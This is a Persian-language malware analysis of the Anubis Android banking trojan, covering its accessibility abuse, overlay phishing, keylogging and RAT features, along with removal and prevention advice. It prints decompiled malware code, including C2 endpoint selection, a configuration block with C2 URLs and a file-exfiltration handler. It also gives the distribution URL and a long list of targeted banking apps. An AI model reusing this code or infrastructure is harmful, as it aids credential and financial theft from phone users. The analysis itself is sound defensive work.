Trojan.Android.Anubis.Banker

شرح کلی

نوع: تروجان (Trojan)
اسامی بدافزار:
Trojan.Android.Anubis.Banker
درجه تخریب: متوسط
میزان شیوع: متوسط

تروجان(Trojan) چیست؟

تروجان‌ها نوعی از بدافزار محسوب می‌شوند که خود را در قالب یک نرم‌افزار سالم و قانونی نشان می‌دهند و بسیار شبیه نرم‌افزارهای مفید و کاربردی رفتار می‌کنند. اما هنگامی ‌که اجرا می‌شوند، خرابی‌های زیادی را برای سیستم ایجاد می‌کنند. نرم‌افزارهای دانلود شده از اینترنت، جاسازی شدن در متن HTML، ضمیمه شدن به یک ایمیل و … از جمله راه‌های ورود تروجان‌ها به سیستم هستند. تروجان‌ها برخلاف ویروس‌ها و کرم‌های کامپیوتری قادر به تکثیر خود نیستند.

خانواده بدافزاری Anubis چیست؟

اپلیکیشن‌های زیادی با عناوین Free 5G ،20GBHediye ،20gb_hediye_internet و … وجود دارند. نمونه‌های این بدافزار با hash‌ های مختلف و URL های آلوده بسیار زیادند. به طور مثال، کاربر این برنامه را با عنوان “20 گیگ هدیه اینترنت” از لینک “http://xn--20gbnternethedyendowland-tvdk.com/20gb_hediye_internet.apk” دریافت می‌کند. بعد از اجرای برنامه، بدافزار برای گرفتن تنظیمات مربوط به سرویس دستیابی (accessibility access services) اقدام می‌کند و بلافاصله بعد از دستیابی به این مهم، آیکون برنامه را مخفی می‌کند و کارهای مخرب بدافزار، در پس زمینه انجام می‌شود. از جمله اقداماتی که در گوشی کاربر صورت می‌گیرند:

۱) دسترسی‌های خطرناکی که این بدافزار از کاربر دریافت می‌کند بسیار زیاد است (به‌ دست آوردن موقعیت مکانی کاربر، وضعیت اینترنت، خواندن لیست مخاطبین، خواندن پیام‌های ورودی و خروجی، ضبط صدا، ارسال و نوشتن پیام و…)
۲) امکان ارسال و دریافت پیام کوتاه
۳) یافتن مختصات جغرافیایی کاربر (GPS)
۴) باز کردن صفحه مشخصی در مرورگر کاربر. آدرس صفحه هدف، از سمت سرور آلوده بدافزار به سمت گوشی کاربر ارسال می‌شود.
۵) لود کردن فایل apk. دیگر به صورت داینامیک و در زمان اجرای برنامه (این کار را برای اهدافی چون نمایش تبیلغات در گوشی کاربر انجام می‌دهد).
۶) keylogging
۷) امکان گرفتن Screenshot از صفحه کلید کاربر
۸) برقراری تماس با شماره‌های مشخصی که از سمت سرور ارسال می‌شوند.
۹) و…

توضیحات فنی

به محض اجرای برنامه، فعالیت دستیابی (activity accessibility) برای گرفتن تنظیمات مربوط به سرویس دستیابی (accessibility access service) فراخوانی می‌شود و تا زمانی که کاربر دسترسی را به برنامه ندهد، این پیغام را به طور مکرر به کاربر نمایش می‌دهد. پیغام نمایش داده شده به زبان “ترکی” بوده و با این مضمون است که در صورتی که می‌خواهید این برنامه برایتان فعال شود، می‌بایست دسترسی دستیابی فعال شود. به محض اینکه کاربر دسترسی را برای برنامه فعال (on) می‌کند، بدافزار بدون هیچ مشکلی کلیه مجوزهای دسترسی که عمدتا خطرناک هستند را برای برنامه خود، با هدف سوء‌استفاده‌های بعدی فعال می‌کند. درنتیجه بررسی داینامیک فایل، می‌توان مشاهده کرد که این بدافزار در زمان اجرا در مسیر data/data یک سری فایل در فولدرهایی به نام زیر رها (drop) می‌کند:

app_apk (۱: در این پوشه یک فایل apk. دیگر وجود دارد که در حین اجرا با استفاده از API ،DexClassLoader توسط فایل اولیه لود می‌شود و بخشی از کارهای مخرب توسط این فایل انجام می‌شوند. همچنین، برای ورژن اندروید ۵ به بالا نیز فایل oat. قرار داده شده و هدف از لود این فایل، نمایش تبلیغات در گوشی کاربر است.

۲) app_outdex: در حین اجرای برنامه، برای API16 ،API26 بررسی می‌کند در صورتی که ورژن اندروید کاربر هر یک از آنها بودند، در این مسیر اگر فایل apk. باشد برای نمایش تبلیغات (show notification) با استفاده از API ،DexClassLoader آن را لود می‌کند. اسم پکیج برنامه‌ای که درخواست برای لود آن را دارد “apps.com.app.utils” است. این کار را با استفاده از یک سرویس جداگانه در برنامه انجام می‌دهد.

shared_prefs (۳: در این بخش فایلی به نام set.xml وجود دارد که فایل پیکربندی برنامه نامیده می‌شود. یعنی بدافزار یک سری دستورات را از این فایل در حین اجرا (داینامیک) می‌خواند و به ازای آنها کدهای مخرب خود را اجرا می‌کند. علت استفاده بدافزار به صورت محلی (local) در حین اجرا این است که امکان دارد این برنامه که به عنوان یک BOT اندرویدی نیز هست، به هر دلیلی نتواند در زمان اجرا ارتباط درستی با سرورهای خود برقرار کند و برای اجرا، دستورات لازم را  از آنها دریافت نماید.
پس از اجرای برنامه، براساس فایل پیکربندی، در صورتی که مقدار “websocket” فراخوانی شود:
این بدافزار با سرور “dedelik.com” یعنی با سرور فرماندهی و کنترل (C&C) خود ارتباط برقرار می‌کند. از POST برای ارسال اطلاعات رمزگذاری شده از گوشی کاربر به آدرس‌های a3.php ،a14.php و a4.php استفاده می‌کند و در پاسخ دستوراتی را برای اجرای کارهای مخرب در گوشی کاربر دریافت می‌نماید.

بلافاصله در صفحه مرورگر کاربر، سایت “https://www.saglik.gov.tr” باز می‌شود، یعنی بدافزار این قابلیت را دارد تا مرورگر کاربر را با URL دریافت شده از سرور فرماندهی و کنترل راه اندازی کند.

 

آدرس سرورهایی که برنامه به آن وصل می‌شود و به واسطه آنها پیغام دریافت کرده و در گوشی کاربر اجرا می‌کند، همگی به صورت کد شده با الگوریتم base64 هستند.

public String fddo(ContextparamContext, StringparamString1, StringparamString2)

{

try

{

if  (jdMethod_catch(paramContext))

{

localint=new oawx.minoxvx.ahlpf.fddo.int();

if (paramString1.equals(jdField_int("MQ==")))

str = jdField_int("L28xby9hMy5waHA=");

if  (paramString1.equals(jdField_int("Mg==")))

str = jdField_int("L28xby9hNC5waHA=");

if  (paramString1.equals(jdField_int("Mw==")))

str = jdField_int("L28xby9hNS5waHA=");

if  (paramString1.equals(jdField_int("NA==")))

str = jdField_int("L28xby9hNi5waHA=");

if  (paramString1.equals(jdField_int("NQ==")))

str = jdField_int("L28xby9hNy5waHA=");

if  (paramString1.equals(jdField_int("Ng==")))

str = jdField_int("L28xby9hOC5waHA=");

if  (paramString1.equals(jdField_int("Nw==")))

str = jdField_int("L28xby9hOS5waHA=");

if  (paramString1.equals(jdField_int("MTA=")))

str = jdField_int("L28xby9hMTAucGhw");

if  (paramString1.equals(jdField_int("MTE=")))

str = jdField_int("L28xby9hMTEucGhw");

if  (paramString1.equals(jdField_int("MTI=")))

str = jdField_int("L28xby9hMTIucGhw");

if  (paramString1.equals(jdField_int("MTM=")))

str = jdField_int("L28xby9hMTMucGhw");

if  (paramString1.equals(jdField_int("MTQ=")))

str = jdField_int("L28xby9hMTQucGhw");

if  (paramString1.equals(jdField_int("MTU=")))

str = jdField_int("L28xby9hMTUucGhw");

if  (paramString1.equals(jdField_int("MjU=")))

str=jdField_int("L28xby9hMjUucGhw");

}

}

catch(ExceptionparamContext)

{

try

{

oawx.minoxvx.ahlpf.fddo.intlocalint;

Stringstr;

paramString1=fddo(paramContext,jdField_int("dXJs"));

paramContext=paramString1;

if (paramString1 == null)

paramContext=this.fddo.jdField_for;

paramString1=newStringBuilder();

paramString1.append(paramContext);

paramString1.append(str);

return localint.fddo(paramString1.toString(), paramString2);

label372:fddo(jdField_int("RVJST1I="),jdField_int("Q2xhc3MgVXRpbHNDbGFzcywgUE9TVCAtPiBVUkw="));

return null;

paramContext=jdField_int("PHRhZz48L3RhZz4=");

return paramContext;

while (true)

{

return jdField_int("PHRhZz48L3RhZz4=");

paramContext=paramContext;

}

}

catch(ExceptionparamContext)

{

break label372;

}

}

}

اسامی سرورها به شرح زیر است و اینکه در هر مرحله با توجه به نوع کار به کدام سرور اطلاعات ارسال و از آن دریافت شود، بستگی به مقدار “jdField_int” دارد که از کلاس “ifdf” فراخوانی می‌شود.

  • jdField_int = 1 ::/o1o/a3.php
  • jdField_int = 2 ::/o1o/a4.php
  • jdField_int = 3 ::/o1o/a6.php
  • jdField_int = 4 ::/o1o/a6.php
  • jdField_int = 5 ::/o1o/a7.php
  • jdField_int = 6 ::/o1o/a8.php
  • jdField_int = 7 ::/o1o/a9.php
  • jdField_int = 10 ::/o1o/a10.php
  • jdField_int = 11 ::/o1o/a11.php
  • jdField_int = 12 ::/o1o/a12.php
  • jdField_int = 13 ::/o1o/a13.php
  • jdField_int = 14 ::/o1o/a14.php
  • jdField_int = 15 ::/o1o/a15.php
  • jdField_int = 25 ::/o1o/a25.php

علاوه بر اینکه فایل پیکربندی بدافزار به نام set.xml در مسیر data/data/shared_prefs وجود دارد و از آن در حین اجرای بدافزار استفاده می‌شود، دسته‌ای از دستورات مازاد به صورت هارد کد شده در کد برنامه وجود دارند. چند دستور خطرناک موجود در فایل پیکربندی و کد برنامه در زیر آمده است که توانایی جاسوسی و استخراج اطلاعات مهم شخصی را از دستگاه آلوده دارند:

  • keylogger: دزدی اطلاعات کلیدهای فشرده شده از صفحه کلید کاربر
  • Gps: موقعیت مکانی کاربر را مشخص می‌کند.
  • spamSMS: ارسال smsهای spam شده
  • VNC_Start_New
  • startRecordingSound: ضبط صدا
  • htmllocker: صفحه مربوط به نمایش باج خواهی بعد از رمزکردن فایل‌ها را نمایش می‌دهد (کد این بخش در این نمونه بدافزار غیرفعال است).
  • urlInj: برای شروع یک صفحه وب در مرورگر کاربر است.
  • textPlayProtect: یکی از دستورات textPlayProtect است و مقدار موجود در آن برابر با رشته “سیستم به درستی کار نمی‌کند، لطفاً Google Play Protect را غیرفعال کنید” است.

!” (The system is not working properly, please disable Google Play Protect!)

بدافزارنویس زمانی که بخواهد اقدامی برای فعال کردن Play Protect انجام دهد، هشدارهایی را به کاربر نمایش می‌دهد. زیرا یکی از عملکردهای بدافزار، غیرفعال کردن این سرویس برای عدم شناسایی بدافزار برروی گوشی کاربر است. به همین دلیل، ابتدا زبان گوشی کاربر را چک می‌کند و امکان نمایش این پیغام را به چندین زبان مختلف دارد. زبان‌هایی که پیغام ارسالی را نمایش می‌دهند شامل موارد زیر هستند:

 

[(Russia (RU), United States (US),Turkish (TR),German (DE),Italy (IT),France (FR),Ukraine (UA ]

public void setSharedPreferences(Contextcontext){

if (VERSION.SDK_INT >= 19) {

this.setSharedPreference(context, "swspacket",

Sms.getDefaultSmsPackage(context).toString());

else  {

this.setSharedPreference(context, "swspacket", "");

}

this.setSharedPreference(context, "VNC_Start_NEW",

"http://ktosdelaetskrintotpidor.com");

this.setSharedPreference(context,"Starter",

"http://sositehuypidarasi.com");

this.setSharedPreference (context, "time_work", "0");

this.setSharedPreference (context, "time_start_permission", "0");

StringBuildervar2 = newStringBuilder() ;

var2.append("") ;

this.constants.getClass() ;

var2.append("http://update-apk.net".replace(" ",""));

this.setSharedPreference(context,"urls",var2.toString());

var2=newStringBuilder();

var2.append("");

this.constants.getClass();

var2.append("".replace(" ",""));

this.setSharedPreference(context,"urlInj",var2.toString());

var2=newStringBuilder();

var2.append("");

this.constants.getClass();

var2.append(10000);

this.setSharedPreference(context,"interval",var2.toString());

this.setSharedPreference(context,"name","false");

this.setSharedPreference(context,"perehvat_sws","false");

this.setSharedPreference(context,"del_sws","false");

this.setSharedPreference(context,"network","false");

this.setSharedPreference(context,"gps","false");

this.setSharedPreference(context,"madeSettings","1 2 3 4 5 6 7 8 9 10 11 12 13 ");

this.setSharedPreference(context,"RequestINJ","");

this.setSharedPreference(context,"RequestGPS","");

this.setSharedPreference(context,"save_inj","");

this.setSharedPreference(context,"SettingsAll","");

this.setSharedPreference(context,"getNumber","false");

this.setSharedPreference(context,"dateCJ","");

this.setSharedPreference(context,"iconCJ","0:0");

this.setSharedPreference(context,"str_push_fish","");

this.setSharedPreference(context,"timeStartGrabber","");

this.setSharedPreference(context,"checkStartGrabber","0");

this.setSharedPreference(context,"startRequest","Access=0Perm=0");

this.setSharedPreference(context,"StringPermis","");

this.setSharedPreference(context,"StringActivate","activate");

this.setSharedPreference(context,"StringAccessibility","Enable access for");

this.setSharedPreference(context,"StringYes","");

this.setSharedPreference(context,"uninstall1","");

this.setSharedPreference(context,"uninstall2","");

this.setSharedPreference(context,"vkladmin","");

this.setSharedPreference(context,"websocket","");

this.setSharedPreference(context,"vnc","start");

this.setSharedPreference(context,"sound","start");

this.setSharedPreference(context,"straccessibility","");

this.setSharedPreference(context,"straccessibility2","");

this.setSharedPreference(context,"findfiles","");

this.setSharedPreference(context,"foregroundwhile","");

this.setSharedPreference(context,"cryptfile","false");

this.setSharedPreference(context,"status","");

this.setSharedPreference(context,"key","");

this.setSharedPreference(context,"htmllocker","");

this.setSharedPreference(context,"lock_amount","");

this.setSharedPreference(context,"lock_btc","");

this.setSharedPreference(context,"keylogger","");

this.setSharedPreference(context,"recordsoundseconds","0");

this.setSharedPreference(context,"startRecordSound","stop");

this.setSharedPreference(context,"play_protect","");

this.setSharedPreference(context,"textPlayProtect","");

this.setSharedPreference(context,"buttonPlayProtect","");

this.setSharedPreference(context,"spamSMS","");

this.setSharedPreference(context,"textSPAM","");

this.setSharedPreference(context,"indexSMSSPAM","");

this.setSharedPreference(context,"DexSocksMolude","");

this.setSharedPreference(context,"lookscreen","");

this.setSharedPreference(context,"step","0");

this.setSharedPreference(context,"id_windows_bot","");

...

}

از جمله اقدامات دیگر این بدافزار:

  • به دست آوردن لیست فایل‌های گوشی کاربر

در واقع لیست تمام پوشه‌ها و فایل‌های داخل آنها را به دست می‌آورد و به سرور خود ارسال می‌کند (این بخش را احتمالا برای قسمت باج‌گیری خود انجام می‌دهد که در این نمونه، غیر فعال است).

  • امکان ارسال و دریافت پیام کوتاه توسط برنامه

برای اینکه برنامه شما در تنظیمات سیستم به عنوان یک برنامه پیش فرض پیام کوتاه واجد شرایط ظاهر شود، در فایل مانیفست (manifest) شما باید برخی قابلیت‌های خاص تعریف شده باشد مثلا:

  • “oawx.minoxvx.ahlpf.Receiver.ReceiverMms”: در یک جزء دریافت کننده (component receiver) بایستی از یک intent-filter به نام SMS_DELIVER_ACTION استفاده شده باشد که به برنامه این اجازه را می‌دهد تا مستقیماً پیامک‌های دریافتی در گوشی کاربر را دریافت کند. تمام پیام‌های دریافتی از گوشی کاربر با جزئیات (شماره و متن پیام) خوانده می‌شوند.
  • “oawx.minoxvx.ahlpf.Receiver.RecieverPushService”: در یک جزء دریافت کننده (component receiver) بایستی از یک intent-filter به نام WAP_PUSH_DELIVER_ACTION استفاده شود و همچنین type برای (“MIME (“application/vnd.wap.mms-message هم مشخص باشد که به برنامه این اجازه را می‌دهد تا پیام‌های MMS ورودی را مستقیماً دریافت کند.
  • فعالیت oawx.minoxvx.ahlpf.SendSms: به واسطه استفاده از یک intent-filter به نام BROWSABLE که باعث می‌شود کاربر هنگامی که در حال باز کردن یک برنامه پیام رسان متنی مانند sms ،smsto ،mms ،mmsto است، این اپلیکیشن نیز به او پیشنهاد داده شود. پس برای ارسال پیام در این بخش استفاده می‌شود.
  • سرویس oawx.minoxvx.ahlpf.ServiceHeadlessSmsSend: به واسطه استفاده از یک intent-filter به نام (“ACTION_RESPONSE_VIA_MESSAGE(“android.intent.action.RESPOND_VIA_MESSAGE با الگوهای (sms:, smsto:, mms:,mmsto:). که به کاربران این امکان را می‌دهد تا به تماس‌های تلفنی ورودی با پیام متنی فوری با استفاده از برنامه شما پاسخ دهند.

<receiverandroid:name="oawx.minoxvx.ahlpf.Receiver.ReceiverMms"android:permission="android.permission.BROADCAST_SMS">

<intent-filter>

<actionandroid:name="android.provider.Telephony.SMS_DELIVER"/>

</intent-filter>

</receiver>

<receiverandroid:enabled="true"android:name="oawx.minoxvx.ahlpf.Receiver.RecieverPushService"android:permission="android.permission.BROADCAST_WAP_PUSH">

<intent-filter>

<actionandroid:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>

<dataandroid:mimeType="application/vnd.wap.mms-message"/>

</intent-filter>

</receiver>

<activityandroid:name="oawx.minoxvx.ahlpf.SendSms">

<intent-filter>

<actionandroid:name="android.intent.action.SEND"/>

<actionandroid:name="android.intent.action.SENDTO"/>

<dataandroid:scheme="sms"/>

<dataandroid:scheme="smsto"/>

<dataandroid:scheme="mms"/>

<dataandroid:scheme="mmsto"/>

<categoryandroid:name="android.intent.category.DEFAULT"/>

<categoryandroid:name="android.intent.category.BROWSABLE"/>

</intent-filter>

</activity>

<serviceandroid:exported="true"android:name="oawx.minoxvx.ahlpf.ServiceHeadlessSmsSend"android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">

<intent-filter>

<actionandroid:name="android.intent.action.RESPOND_VIA_MESSAGE"/>

<categoryandroid:name="android.intent.category.DEFAULT"/>

<dataandroid:scheme="sms"/>

<dataandroid:scheme="smsto"/>

<dataandroid:scheme="mms"/>

<dataandroid:scheme="mmsto"/>

</intent-filter>

</service>

  • پیگیری موقعیت مکانی

به دست آوردن طول و عرض جغرافیایی برای یافتن مختصات GPS. موقعیت مکانی کاربر یا جایی که حضور دارد از جمله آدرس، عرض جغرافیایی و طول جغرافیایی را می‌تواند به دست آورد.

  • کلاهبرداری در بانکداری الکترونیکی

یکی از کارهای مخرب این بدافزار، مربوط به کلاهبرداری در بانکداری الکترونیکی است. به همین منظور لیست بزرگی از برنامه‌های بانکداری الکترونیکی را در برنامه خود چک می‌کند که همگی به صورت دو لایه و با الگوریتم کدینگ base64 رمز شده‌اند.
با استفاده از (API ،(getInstalledApplications لیست ۱۲۸ برنامه بانکی مدنظر خود را با لیست تمام برنامه‌های نصب شده گوشی کاربر چک می‌کند. این بدافزار بیش از 100 برنامه را ردیابی می‌کند و قابلیت نمایش صفحه جعلی برای سرقت مدارک معتبر را دارد. اکثر برنامه‌ها، برنامه‌های بانکی هستند و به طور کلی در دسته‌های زیر قرار می‌گیرند:
Shopping: خرید کردن
Banking: بانکداری
Stock Trading: معاملات سهام

هدف بدافزارنویس این است که با چک کردن پردازه‌های در حال اجرا در پس زمینه، در صورتی که پردازه مربوط به هر یک از برنامه‌های هدفمند در حال اجرا باشد، آنها را شناسایی کند. پس از راه‌اندازی یکی از برنامه‌های هدفمند با استفاده از تکنینک Overlay attacks and Android Accessibility Services، فرم جعلی ورود به سیستم را به منظور فیشینگ اطلاعات محرمانه کاربر از طریق پنجره خود نمایش می‌دهد و در آنجا از کاربر می‌خواهد نام کاربری‌، رمز عبور و سایر داده‌های حساس را وارد کند. صفحه مربوطه توسط سرور فرماندهی و کنترل ارسال می‌شود و بدافزار می‌تواند همه برنامه‌هایی را که در حال حاضر در گوشی نصب هستند، دریافت کند. این مهم، به لطف مجوز PACKAGE_USAGE_STATS که کاربر به آن داده، انجام می‌شود.
BankBot Anubis از خدمات قابلیت دسترسی اندروید (Android Accessibility Services) برای انجام keylogging به عنوان راهی برای به دست آوردن اطلاعات کارت اعتباری کاربر، هنگام دسترسی به یک برنامه هدفمند بانکداری موبایل استفاده می‌کند. در اکثر تروجان‌های بانکی اندروید، با دسترسی کاربر به یک برنامه هدف، بدافزار از صفحه نمایش جعلی (fake overlay screen) برای دستیابی به اطلاعات کاربر استفاده می‌کند.

Accessibility Services

این سرویس در پس زمینه اجرا می‌شود و callback هایی که از سمت سیستم عامل اندروید توسط AccessibilityEvents ارسال می‌شود را دریافت می‌کند. این رخدادها (Event) درواقع همان تعاملاتی هستند که کاربر با سیستم برقرار می‌کند؛ مانند زمانی که Focuse صفحه نمایش تغییر می‌کند، دکمه‌ای کلیک می‌شود و …
برای دستیابی به چنین خدماتی، باید امکانی باشد که توانایی پرس و جو از محتوای پنجره فعال (active window) را درخواست کند. به همین واسطه، فعالیت‌های کاربر را می‌تواند ردیابی کند و توانایی جستجو در مواردی مانند message Box ها را داشته باشد. هر رویداد دستیابی (AccessibilityEvents) دارای مؤلفه منبع است که تعریف می‌کند کدام برنامه باعث وقایع فعلی شده است. مثلا انواع مختلف استفاده شده که در بدافزار Anubis وجود دارند شامل:

TYPE_VIEW_CLICKED .۱

TYPE_VIEW_FOCUSED .۲

TYPE_VIEW_TEXT_CHANGED .۳

TYPE_WINDOW_STATE_CHANGED .۴

 

  • Screen Capture

همچنین، این بدافزار امکان گرفتن عکس از صفحه کلید کاربر زمانی که در حال وارد کردن اطلاعات کارت اعتباری یا مشخصات خود در برنامه‌های ذکر شده است را دارد.

لیست برنامه‌ها :

نام برنامه package name
VK — live chatting & free calls com.vkontakte.android
Bankia es.cm.android
Ba3nkia Wallet com.bankia.wallet
Best Buy com.bestbuy.android
SantanderSign mobile.santander.de
ebay com.ebay.mobile
Kuveyt Türk com.kuveytturk.mobil
Odeabank com.magiclick.odeabank
Papara com.mobillium.papara
CEPTETEB com.teb
VakıfBank Mobil Bankacılık com.vakifbank.mobile
ŞEKER MOBİL ŞUBE tr.com.sekerbilisim.mbank
Akbank com.akbank.android.apps.akbank_direkt
Akbank com.akbank.android.apps.akbank_direkt_tablet
Akbank Direkt Şifreci com.akbank.softotp
Akbank com.akbank.android.apps.akbank_direkt_tablet_20
Akbank Sanat com.fragment.akbank
Yapı Kredi Mobile com.ykb.android
Yapı Kredi Corporate-For Firms com.ykb.android.mobilonay
Yapı Kredi Cüzdan com.ykb.avm
Yapı Kredi Mobil Şube com.ykb.androidtablet
YapıKredi Azərbaycan MobilBank com.veripark.ykbaz
ÇEKSOR com.softtech.iscek
JSC İŞBANK com.yurtdisi.iscep
İşTablet com.softtech.isbankasi
ISBANK Online com.monitise.isbankmoscow
QNB Finansbank Cep Şubesi com.finansbank.mobile.cepsube
Enpara.com Cep Şubesi finansbank.enpara
FinansPOS com.magiclick.FinansPOS
QNB Finansinvest com.matriksdata.finansyatirim
Enpara.com Şirketim Cep Şubesi finansbank.enpara.sirketim
QNB Mobile com.vipera.ts.starter.QNB
QNB National Day com.redrockdigimark
Garanti Mobile Banking com.garanti.cepsubesi
Garanti CepBank com.garanti.cepbank
GarantiBank com.garantibank.cepsubesiro
Garanti Cep Şifrematik biz.mobinex.android.apps.cep_sifrematik
Garanti FX Trader com.garantiyatirim.fx
Halkbank Mobil com.tmobtech.halkbank
Halkbank Şifrebaz Cep com.SifrebazCep
Halkbank Mobile App eu.newfrontier.iBanking.mobile.Halk.Retail
Halk Trade tr.com.tradesoft.tradingsystem.gtpmobile.halk
Halkbank Nerede com.DijitalSahne.EnYakinHalkbank
Ziraat Mobil com.ziraat.ziraatmobil
Ziraat Tablet com.ziraat.ziraattablet
Ziraat Trader com.matriksmobile.android.ziraatTrader
Ziraat Trader HD com.matriksdata.ziraatyatirim.pad
PayPal Cash App: Send and Request Money Fast com.paypal.android.p2pmobile
NETELLER – fast, secure and global money transfers com.moneybookers.skrillpayments.neteller
Skrill – Fast, secure online payments com.moneybookers.skrillpayments
ING Bankieren com.ing.mobile
İşCep com.pozitron.iscep
VakıfBank Cep Şifre com.pozitron.vakifbank
BtcTurk Bitcoin Borsası com.btcturk
Albaraka Mobil Şube com.pozitron.albarakaturk
Binance – Cryptocurrency Exchange com.binance.dev
Binance: Cryptocurrency & Bitcoin Exchange com.binance.odapplications
Blockfolio – Bitcoin and Cryptocurrency Tracker com.blockfolio.blockfolio
Crypto App – Widgets, Alerts, News, Bitcoin Prices com.crypter.cryptocyrrency
Delta – Bitcoin & Cryptocurrency Portfolio Tracker io.getdelta.android
My CryptoCoins Portfolio – All Coins com.edsoftapps.mycoinsvalue
Coin Profit com.coin.profit
Coin Market-Bitcoin Prices,Currencies,BTC,EUR,ICO com.mal.saul.coinmarketcap
Coin Portfolio for Bitcoin & Altcoin tracker com.tnx.apps.coinportfolio
Coinbase – Buy Bitcoin & more. Secure Wallet com.coinbase.android
Coinbase Tracker (3rd party) com.portfolio.coinbase_tracker
Bitcoin Wallet de.schildbach.wallet
Blockchain Wallet. Bitcoin, Bitcoin Cash, Ethereum piuk.blockchain.android
Blockchain Merchant info.blockchain.merchant
Bitcoin Blockchain Explorer com.jackpf.blockchainsearch
Unocoin Wallet com.unocoin.unocoinwallet
Unocoin Merchant PoS com.unocoin.unocoinmerchantPoS
UNOCOIN LIVE com.thunkable.android.santoshmehta364.UNOCOIN_LIVE
Zebpay Calculator – Profit/Loss Management wos.com.zebpay
LocalBitCoins Official com.localbitcoinsmbapp
LocalBitCoins com.thunkable.android.manirana54.LocalBitCoins
UNBLOCK Local BitCoins com.thunkable.android.manirana54.LocalBitCoins_unblock
LocalBitcoins – Buy and sell Bitcoin com.localbitcoins.exchange
LocalBitCoins com.coins.bit.local
LocalBitCoins NEW com.coins.ful.bit
Local BitCoin com.jamalabbasii1998.localbitcoin
Zebpay Bitcoin and Cryptocurrency Exchange zebpay.Application
Zebpay India com.bitcoin.ss.zebpayindia
Jaxx Blockchain Wallet com.kryptokit.jaxx
  • (Remote Access Trojan (RAT

این بدافزار دارای قابلیت RAT است و می‌تواند به مهاجم اجازه دهد دستوراتی را صادر کند و دستگاه آلوده را از راه دور کنترل کند. بدافزار یک سرویس جداگانه به نام ServiceRAT برای تحقق اهداف زیر دارد:

Opendir: لیست تمام فایل‌های موجود در subfolder ها و دایرکتوری‌ها را به سمت سرور ارسال می‌کند.
downloadfile: ارسال فایل به سمت سرور بدافزار
deletefilefolder: پاک کردن یک فایل یا فولدری مشخص در گوشی کاربر
startscreenVNC:  ارسال screenshot از گوشی کاربر به سمت سرور بدافزار به ازای هر نیم ثانیه
stopscreenVNC
startsound: ضبط ویدیو (recording audio)
noconnection: متوقف کردن سرویس مربوطه

if (command.contains("downloadfile:")) {

command=command.replace("downloadfile:","").split("!!!!")[0];

this.functions.deletedLoggingFunction("file",command);

try{

this.functions.sendFile(this,command,"","getfiles[]");

httpConnector=this.httpConnector;

var4=newStringBuilder();

var4.append(var3);

this.constants.getClass();

var4.append("/o1o/a2.php");

Stringvar24=var4.toString();

data=newStringBuilder();

data.append("tuk_tuk=");

Functionsfunctions3=this.functions;

var4=newStringBuilder();

var4.append(this.a);

var4.append("|:|!!!refreshfilefolder!!!");

data.append(functions3.encode(var4.toString()));

httpConnector.doRequest(var24,data.toString());

}catch(Exceptionvar11){

functions2=this.functions;

command="error sender";

break;

}

روش مقابله و پاک‌سازی سیستم

بدافزار Anubis تمام رویدادهای دسترسی (AccessibilityEvents) را بررسی می‌کند. اگر صفحه‌ای توسط کاربر باز شود، به واسطه آن رخداد TYPE_WINDOW_STATE_CHANGED به برنامه ارسال می‌شود و در این زمان است که در کد برنامه چک می‌کند آیا پنجره باز شده مربوط به سرویس برنامه خودش (AAS) و نیز برنامه تنظیمات (setting) هست یا نه. بلافاصله شرط‌های زیر بررسی می‌شوند:
۱) event مربوط به باز شدن پنجره ناشی از برنامه com.android.settings و یا سرویس فعال برنامه (accessibility service) هست یا خیر.
۲) بدافزار یک سری رشته‌های مشخص را در بخش توصیفات رخداد (Event description) چک می‌کند:

  • Uninstall
  • to remove

در این دو حالت، کاربر بلافاصله به صفحه Homescreen ارجاع داده می‌شود و برنامه‌های مربوطه بسته می‌شوند یعنی از settings. از آنجایی که به صورت عادی نمی‌توان اپلیکیشن را حذف کرد، راهکارهای زیر برای پاک کردن برنامه آلوده از روی گوشی وجود دارند:

۱) یک برنامه application manager دیگر غیر از برنامه settings که روی گوشی به صورت نرمال هست را نصب کرده تا بتوان با آن سرویس، برنامه را kill و بعد uninstall کرد.
۲) در حالت safe mode بالا آمده و از لیست برنامه‌های در حال اجرا، برنامه را غیرفعال و حذف کرد.
3) با استفاده از ابزار adb به گوشی متصل شده و با داشتن نام پکیج برنامه “oawx.minoxvx.ahlpf” و با دستور “adb uninstall packagename” آن را از گوشی حذف کرد.

روش‌های پیشگیری از آلوده شدن گوشی:

از دانلود و نصب برنامه از منابع و مارکت‌های موبایلی نامعتبر خودداری کنید.

۱. هنگام نصب برنامه‌های موبایلی، به مجوزهای درخواستی دقت کنید.

۲. از فایل‌ها و اطلاعات ذخیره شده در گوشی، پشتیبان‌گیری مداوم انجام دهید.

۳. از نسخه‌های غیررسمی برنامه‌ها استفاده نکنید. برنامه‌هایی مانند تلگرام و اینستاگرام نسخه‌های غیررسمی زیادی دارند و بیشتر آنها از طریق کانال‌های تلگرامی انتشار می‌یابند.